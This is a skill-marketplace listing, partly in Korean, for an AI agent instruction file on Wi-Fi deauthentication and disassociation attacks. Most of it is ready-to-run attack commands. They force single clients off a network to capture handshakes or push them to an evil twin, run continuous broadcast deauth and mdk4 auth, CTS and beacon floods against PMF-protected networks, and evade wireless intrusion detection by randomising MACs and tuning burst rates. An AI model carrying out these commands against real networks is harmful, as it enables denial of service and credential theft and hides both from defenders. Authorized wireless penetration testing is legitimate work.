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offensive-deauth-disassoc

Assess Wi-Fi disconnection and reconnection behavior using deauthentication and disassociation tests. The skill covers client targeting, handshake capture, protected management frames, transmission scope and rate, and reporting observed effects and detection signals.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture.

설치 방법 보기

이럴 때 유용합니다

  • Testing reconnection behavior for a specific Wi-Fi client
  • Capturing authentication exchanges during reconnection
  • Assessing protected management frame settings
  • Recording service disruption and detection signals

포함된 파일(1)

  • SKILL.md4.5 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Deauth / Disassoc Attacks

The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.

Quick Workflow

  1. Identify target client + AP (BSSID, channel)
  2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
  3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
  4. Send the deauth burst at the right rate

Single-Client Deauth (Preferred)

Used to force handshake capture, push client to evil twin, or test reconnection behavior.

sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon
  • --deauth 5 sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
  • More than 30 in a burst is unnecessarily noisy.

Broadcast Deauth (DoS, Use Sparingly)

# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous

# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11

Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.

PMF (802.11w) Awareness

PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
PMF StatusDeauth Effect
OffClassic deauth works
Capable (optional)Works against clients without PMF, fails against PMF-enabled clients
RequiredClassic deauth ignored — must use action-frame attacks

Action-Frame Attacks Against PMF

PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:

# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID>     # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID>     # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID>     # WPA-Enterprise: SAE auth flood

Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.

Beacon Flooding

Confuse clients (and WIPS) by flooding fake beacons:

sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file

Use cases:

  • Hide your evil twin among noise
  • Stress-test client roaming logic
  • DoS WIPS dashboards (flood with thousands of fake APs)

Rate Tuning and Detection

BurstDefender Signal
3–10 deauth, single clientOften misclassified as roaming or RF noise
>30 deauth/sec from one sourceWIPS rule trips
Continuous broadcast deauthClear DoS — alert + ticket within minutes
Beacon flood >50/secSaturates WIPS dashboards

Randomize source MAC across burst-and-pause cycles to spread the signal.

Engagement Cheatsheet

# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon

# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>

# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon

Reporting

Document for each test:

  • Target BSSID + ESSID + PMF status
  • Burst size, duration
  • Effect observed (client reconnected? handshake captured? DoS achieved?)
  • Detection signals defender would have seen

Key References

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